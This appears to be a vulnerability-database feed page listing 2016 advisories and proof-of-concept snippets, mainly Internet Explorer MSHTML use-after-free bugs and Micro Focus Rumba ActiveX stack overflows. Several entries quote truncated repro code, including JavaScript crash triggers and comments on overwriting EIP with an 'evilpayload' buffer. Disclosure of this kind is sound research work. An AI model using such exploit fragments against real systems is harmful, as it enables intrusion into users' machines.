Microsoft Internet Explorer 10 MSHTML CElement::GetPlainTextInScope Out-Of-Bounds Read

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the third entry in that series. The below information is also available on my blog at http://blog.skylined.nl/20161103001.html. There you can find a repro that trigger...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free Exploit

Exploit for windows platform in category dos / poc var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks ...

Microsoft Internet Explorer 11 MSHTML CView::CalculateImageImmunity Use-After-Free

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the second entry in that series. The below information is also available on my blog at http://blog.skylined.nl/20161102001.html. There you can find a repro that...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free

var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks to see if there was an easy way to reallocate the...

Microsoft Internet Explorer 9 MSHTML CAttrArray Use-After-Free

Exploit for windows platform in category dos / poc Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the first entry in that series. The below information is also available on my blog at...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement;...

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056)

oTextArea = document.createElement'textarea'; oTextArea.dataSrc = 1; oTextArea.id = 1; oTextArea.innerHTML = 1; oTextArea.onvolumechange = 1; oTextArea.style.setProperty'list-style', "url"; !-- Analysis The CAttrArray object initially allocates a CImplAry buffer of 0x40 bytes, which can store 4...

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056)

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free MS14-056 oTextArea = document.createElement'textarea'; oTextArea.dataSrc = 1; oTextArea.id = 1; oTextArea.innerHTML = 1; oTextArea.onvolumechange = 1; oTextArea.style.setProperty'list-style', "url"; !-- Analysis The CAttrArray objec...

Microsoft Internet Explorer NetBIOS Spoofing (MS16-063: CVE-2016-3213)

A spoofing vulnerability exists in Microsoft Internet Explorer. The root cause is that an attacker can spoof WAPD requests and force the browser to switch to local Intranet. A remote attacker can exploit this issue by sending a specially crafted meeting request...

Micro Focus Rumba 9.4 - Local Denial of Service

Micro Focus Rumba 9.4 - Local Denial of Service Exploit Title: Micro Focus Rumba 9.4 Multiple Local Stack-overflow Date: 29-10-2016 Exploit Author: Umit Aksu Vendor Homepage: http://www.microfocus.com/ Software Link:...

Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)

Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow PoC Exploit Title: Micro Focus Rumba function vuln // 272 Junk Data // 272 + "\x43\x43\x43\x43" = EDX = 43434343 // // If we change the edx to an address that point to a valid address // We will have control over EIP // 0x20302228 // Overwrite...

Micro Focus Rumba 9.4 - Local Denial of Service Exploit

Exploit for windows platform in category dos / poc Exploit Title: Micro Focus Rumba 9.4 Multiple Local Stack-overflow Date: 29-10-2016 Exploit Author: Umit Aksu Vendor Homepage: http://www.microfocus.com/ Software Link:...

Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow

Exploit for windows platform in category dos / poc Exploit Title: Micro Focus Rumba function vuln // 272 Junk Data // 272 + "\x43\x43\x43\x43" = EDX = 43434343 // // If we change the edx to an address that point to a valid address // We will have control over EIP // 0x20302228 // Overwrite...

Micro Focus Rumba 9.3 Active-X Stack Buffer Overflow

Exploit Title: Micro Focus Rumba function vuln // 272 Junk Data // 272 + "\x43\x43\x43\x43" = EDX = 43434343 // // If we change the edx to an address that point to a valid address // We will have control over EIP // 0x20302228 // Overwrite the stack var evilpayload = "AAAAAAA...

Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)

Exploit Title: Micro Focus Rumba function vuln // 272 Junk Data // 272 + "\x43\x43\x43\x43" = EDX = 43434343 // // If we change the edx to an address that point to a valid address // We will have control over EIP // 0x20302228 // Overwrite the stack var evilpayload =...

October 27, 2016 — KB3197954 (OS Build 14393.351)

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KLA10894 Obsolete Adobe Flash Player for Windows

Microsoft released update to address vulnerabilities in Flash Player for Internet explorer. For details look at KLA10892. Technical details To mitigate this vulnerability you can implement some of workarounds listed in original Microsoft advisory: disable Adobe Flash Player, prevent Adobe FP from...

Adobe Patches Flash Zero Day Under Attack

Adobe today released an emergency Flash Player update that includes a patch for a vulnerability being exploited in targeted attacks. The vulnerability, CVE-2016-7855, was privately disclosed by Neel Mehta and Billy Leonard of the Google Threat Analysis Group. Mehta was one of four researchers...

KLA10917 Obsolete Adobe Flash Player for Windows

Microsoft released update to address vulnerabilities in Flash Player for Internet Explorer & Edge. For details look at KLA10892. Technical details To mitigate this vulnerability you can implement some of workarounds listed in original Microsoft advisory: don’t click a link in an email message or...

Microsoft Windows Edge/Internet Explorer - Isolated Private Namespace Insecure DACL Privilege Escalation (MS16-118)

/ Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=879 Windows: Edge/IE Isolated Private Namespace Insecure DACL EoP Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7 Class: Elevation of Privilege Summary: The isolated private namespace created by...